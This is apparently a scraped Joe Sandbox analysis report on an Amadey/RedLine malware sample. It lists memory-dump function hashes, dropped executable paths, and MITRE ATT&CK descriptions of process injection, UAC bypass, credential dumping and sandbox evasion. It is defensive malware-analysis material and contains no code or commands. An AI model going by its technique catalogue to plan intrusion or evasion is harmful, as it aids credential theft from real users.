Instruction ID: 015dad29234bb80ce60d27c21a7dfa6de1b42f0bc23bb93a6f97df09f4616e51
Opcode Fuzzy Hash: d1759bd3c9fc6a9f2ffd912a1e88ce22cbbf6de98ac829014ed7d5b054fe644d
Instruction Fuzzy Hash: A1F0E577301A659FC711CF2CD410C4ABBA9EF85724305815AE40887321CB20FD40C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 02793208 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0760bef923faed48ba322ad9ac9f1de75827b2f23f825b66129dbce69a6adf
Instruction ID: 00cde28327a35bb3723b0ad2fc398e750dbf73aa7677a9d53ac41d0599ad6de8
Opcode Fuzzy Hash: ec0760bef923faed48ba322ad9ac9f1de75827b2f23f825b66129dbce69a6adf
Instruction Fuzzy Hash: 6BE09231300205ABEB1426AEE858AAF7AEFEBC9364F50447DE50ED3351DE656C0487A5

Uniqueness

Uniqueness Score: -1.00%

Function 027941A0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f054d7cdfc28c2fc499de5d1508527b2404aeb4a174f8bf5fc70a46253405567
Instruction ID: 2823018320c3d68923a123705b320bffd4ec54e439ac04f5f5ee637269808744
Opcode Fuzzy Hash: f054d7cdfc28c2fc499de5d1508527b2404aeb4a174f8bf5fc70a46253405567
Instruction Fuzzy Hash: D2F06D70501B05CFD714EF22D418556BBFAFB88301700CA2AE84A83B14EF78A849CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0279BEE8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085d76cae479e7be036755914ff8912b95d51647ff75828215ea781a3a787829
Instruction ID: 36bcb6735b40b00227dd29503e74ed163ee38e7326c13df01d28e9fecc40feae
Opcode Fuzzy Hash: 085d76cae479e7be036755914ff8912b95d51647ff75828215ea781a3a787829
Instruction Fuzzy Hash: 4BE0203630010467DB14377EFC1886BBAAFEBC9328340C43DE509D3315DD759C0446A4

Uniqueness

Uniqueness Score: -1.00%

Function 02794140 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2915e30164c9be4acbfb50e90fe798f088661aedaa2d16373d1dcbf2ecbfa698
Instruction ID: 7612e89aea2bde16fd934d144b0c6eb807c91c3c1d4c0cbdcfd490696b28ec1b
Opcode Fuzzy Hash: 2915e30164c9be4acbfb50e90fe798f088661aedaa2d16373d1dcbf2ecbfa698
Instruction Fuzzy Hash: 68E030312007658BC660A72DE42465A7BEAEB85215B04486DE146C7711DFB6AC058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02790471 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c5f0ae4bd592a0a8f0ed395b9d74f1024239e58552a488250152e60ec6cf5d
Instruction ID: 6501838393a1668359e912568264ca6cdd2f9a79123eab22d955170692d41a4b
Opcode Fuzzy Hash: e2c5f0ae4bd592a0a8f0ed395b9d74f1024239e58552a488250152e60ec6cf5d
Instruction Fuzzy Hash: 16F0A031D08284EFCB00DFB8B491AED7FB1EF82304F2449EAC04097112E7310A5ADB04

Uniqueness

Uniqueness Score: -1.00%

Function 0279B080 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65abc2925620e4027dc56805c8eef2103d7cc4aed705ac6babc9a698544b2d2c
Instruction ID: 0dbda535681bad31fcd1801bdf607da67f762dfac597c7ed5d67a25f4806f52d
Opcode Fuzzy Hash: 65abc2925620e4027dc56805c8eef2103d7cc4aed705ac6babc9a698544b2d2c
Instruction Fuzzy Hash: D6E086316152104FDB109A78A8595D53FB4DF0624570100FAD849C7256DA21DD1B9792

Uniqueness

Uniqueness Score: -1.00%

Function 0279B260 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f193f838e66c880b848385bceba26f8243dcc8538f375bbbb4f4f771db19b162
Instruction ID: e7366645994d9b66bd2eca1c3702d858301b09335c5bd48dcc673890b312b092
Opcode Fuzzy Hash: f193f838e66c880b848385bceba26f8243dcc8538f375bbbb4f4f771db19b162
Instruction Fuzzy Hash: D9D02B73D183106FE30596A814501EE7FE7CD40360711406FC408D7240D8232D078350

Uniqueness

Uniqueness Score: -1.00%

Function 027966A0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584358c6d394273f6d68d3f18eb5dd69be2bdc2b7c1505870bf9d7c9ff7d2d15
Instruction ID: ac3ab908e17c6195892b0015832a98f322e7369954ef5d1c765cc07f067b1958
Opcode Fuzzy Hash: 584358c6d394273f6d68d3f18eb5dd69be2bdc2b7c1505870bf9d7c9ff7d2d15
Instruction Fuzzy Hash: D4E08C70504A199FFA45A614F828FE53AB6EF41314B008A51E641ABB88EB782C0587D0

Uniqueness

Uniqueness Score: -1.00%

Function 02790480 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7d53e046391fc510bb674ad262094eb0177c158096fec7264e533263a6d0e69
Instruction ID: 075610b0a11c415a748210afb5b96a8317080639e58aafa626840c07f4e1f18f
Opcode Fuzzy Hash: b7d53e046391fc510bb674ad262094eb0177c158096fec7264e533263a6d0e69
Instruction Fuzzy Hash: 0AE04F71D01248EBCB00EFE8E846A9E7BB5FB41304F6049A9940497210EB715E54DB48

Uniqueness

Uniqueness Score: -1.00%

Function 027931C0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc79a5b53a65e98ad35d96f3b37db6fd806af5d85264f7ca64063c96f936b7a
Instruction ID: 907c3c61c5810ee696c62c1cab8d940b001b578e4ff67ce03370268967ba8666
Opcode Fuzzy Hash: abc79a5b53a65e98ad35d96f3b37db6fd806af5d85264f7ca64063c96f936b7a
Instruction Fuzzy Hash: 2FD05E357002249B8A15276DF4288BE3BAFEEC5621704046AE60BC7350DF6AAC0A47E9

Uniqueness

Uniqueness Score: -1.00%

Function 0279BE90 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c580a2bd1e713a8cf630a158c30243b59150a3b7403b4758c752b7b4a6b1569b
Instruction ID: 4771b370abc9f8f223605f909fe44b3b4d627c06dde01973a07a4ed270a9aca3
Opcode Fuzzy Hash: c580a2bd1e713a8cf630a158c30243b59150a3b7403b4758c752b7b4a6b1569b
Instruction Fuzzy Hash: 42E0DFB8A04A844FEB45DB38F429B867B72AFC430CF05C05AC0818778AEB3C9801CB05

Uniqueness

Uniqueness Score: -1.00%

Function 0279DF98 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4907511c37b19bd3e93b3d9403e7807a926d0bdd6c1e52082a7cf866d7bcbceb
Instruction ID: 93b357882f0c714939ffb6e38d3c06e3405aafeaf58b74c7c70e0892505d3119
Opcode Fuzzy Hash: 4907511c37b19bd3e93b3d9403e7807a926d0bdd6c1e52082a7cf866d7bcbceb
Instruction Fuzzy Hash: 43E092B4D0420D9F8B84DFA9D4415BEBFF4AB48300F10816AD918E2240E6345A51CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 02797DD9 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d454556124061e9bf80008b119cffd10739b626711fc8302930b6ce17b0a20
Instruction ID: 723fe517a298b5fdfde628c4aff2352f470d63f1d57bc60c6bc5b02d1e6804b3
Opcode Fuzzy Hash: 64d454556124061e9bf80008b119cffd10739b626711fc8302930b6ce17b0a20
Instruction Fuzzy Hash: F7D05E716593908FCB2B177564381683F30DA4728A31808D7D049CBAD7CA294C02C792

Uniqueness

Uniqueness Score: -1.00%

Function 02790439 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e00e22f74768f7ac0a2b123502b4b495172cc6ffcf759e9cbc9da19f15b1ecd7
Instruction ID: 4c364e8f4ed462ca29d82046697f4aea969d88db37aa7a193ed6f1a56e05c0ed
Opcode Fuzzy Hash: e00e22f74768f7ac0a2b123502b4b495172cc6ffcf759e9cbc9da19f15b1ecd7
Instruction Fuzzy Hash: A5D05E71C9A3849ECB128FB4B95A7FD7F30EF43315F28069AC84496142D765451ADB14

Uniqueness

Uniqueness Score: -1.00%

Function 027978D8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41fb194059fb978c1ab64af0bffc1b80744ac540e10562e95e9b5923c71f087
Instruction ID: eac25f9d0d3b07924a3a1504d0841ebed825403b6f94c8aa8e272780a492ac1a
Opcode Fuzzy Hash: e41fb194059fb978c1ab64af0bffc1b80744ac540e10562e95e9b5923c71f087
Instruction Fuzzy Hash: 07D0A72575D1901FC602133C35200B82BF7DFCAC1530A40EBD591D33E7DC445C0647A6

Uniqueness

Uniqueness Score: -1.00%

Function 0279B270 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa2e9141f2657181cc9b7688c1688eff81fc1514f339a34d5db876c67279ef1
Instruction ID: 8467381e637adfb803cd68b8530167e262e58a34a6104e5943cafd63fd3d9900
Opcode Fuzzy Hash: bfa2e9141f2657181cc9b7688c1688eff81fc1514f339a34d5db876c67279ef1
Instruction Fuzzy Hash: A1D012326043286B9745EAAD54105DEBFAEDE84374B01806ED50DD7740ED76794443D9

Uniqueness

Uniqueness Score: -1.00%

Function 02796D18 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9add8de916486d4cb2568362f455f4023d4d75032c5c59fbdfbf968f085a27a
Instruction ID: 8b47829ab95c19a80c62dcf3ed21716a34f586fb316a4ab71da7607b441e4d04
Opcode Fuzzy Hash: c9add8de916486d4cb2568362f455f4023d4d75032c5c59fbdfbf968f085a27a
Instruction Fuzzy Hash: 87D05E32218648AFC7419B54C810C403F76BF0A62030040EAF6408F233E372E820DB44

Uniqueness

Uniqueness Score: -1.00%

Function 02790448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 334afe822916554c21537c09dc274027e933234694458fb01ad3ac324042178b
Instruction ID: a85c374ad3025f9ca441798c8631b4982cef5a10fc540709ec736d247b828e8f
Opcode Fuzzy Hash: 334afe822916554c21537c09dc274027e933234694458fb01ad3ac324042178b
Instruction Fuzzy Hash: 39C08070C613089FCB109FF9B409B7A7B7CEF03305F501A54D80853100D7714414D56D

Uniqueness

Uniqueness Score: -1.00%

Function 0279B241 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d71adae8aecb7b844f51e3df8c2fae2e4cbe1cd60c9f7e9dc8ae199d82163e
Instruction ID: 876ff79c9b36e75541723c1fcb15f87d73694abe15b667c72620603258d1dc3a
Opcode Fuzzy Hash: 20d71adae8aecb7b844f51e3df8c2fae2e4cbe1cd60c9f7e9dc8ae199d82163e
Instruction Fuzzy Hash: 1FB092D2C581413FFB43026428A60D0BF60E86622573202C9C14293602A00A8A0B8663

Uniqueness

Uniqueness Score: -1.00%

Function 02797D29 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab7553a5e8362ef200b9bff5488d460f88ed54554677e36d999e9e31e4fa160
Instruction ID: 3e5a1607690d3c9d6058c28f4e4a0c525eb0313b590a16b73b723da6ba5228d7
Opcode Fuzzy Hash: dab7553a5e8362ef200b9bff5488d460f88ed54554677e36d999e9e31e4fa160
Instruction Fuzzy Hash: 1EB012B2B4402C4B0A81F3A8B5342DC7255E7841923504126D10EC5B90EF1598134388

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21fvBVFMsn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ijx54ck.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kxL91dA.exe.log

C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe

C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Static File Info

General

File Icon

Windows Analysis Report
21fvBVFMsn.exe

Function 00A4202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Function 00A43BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Function 00A41AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Function 00A4597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Function 00A44FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Function 00A42F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Function 00A45467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Function 00A42390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Function 00A43FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Function 00A42BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Function 00A46F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00A455A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

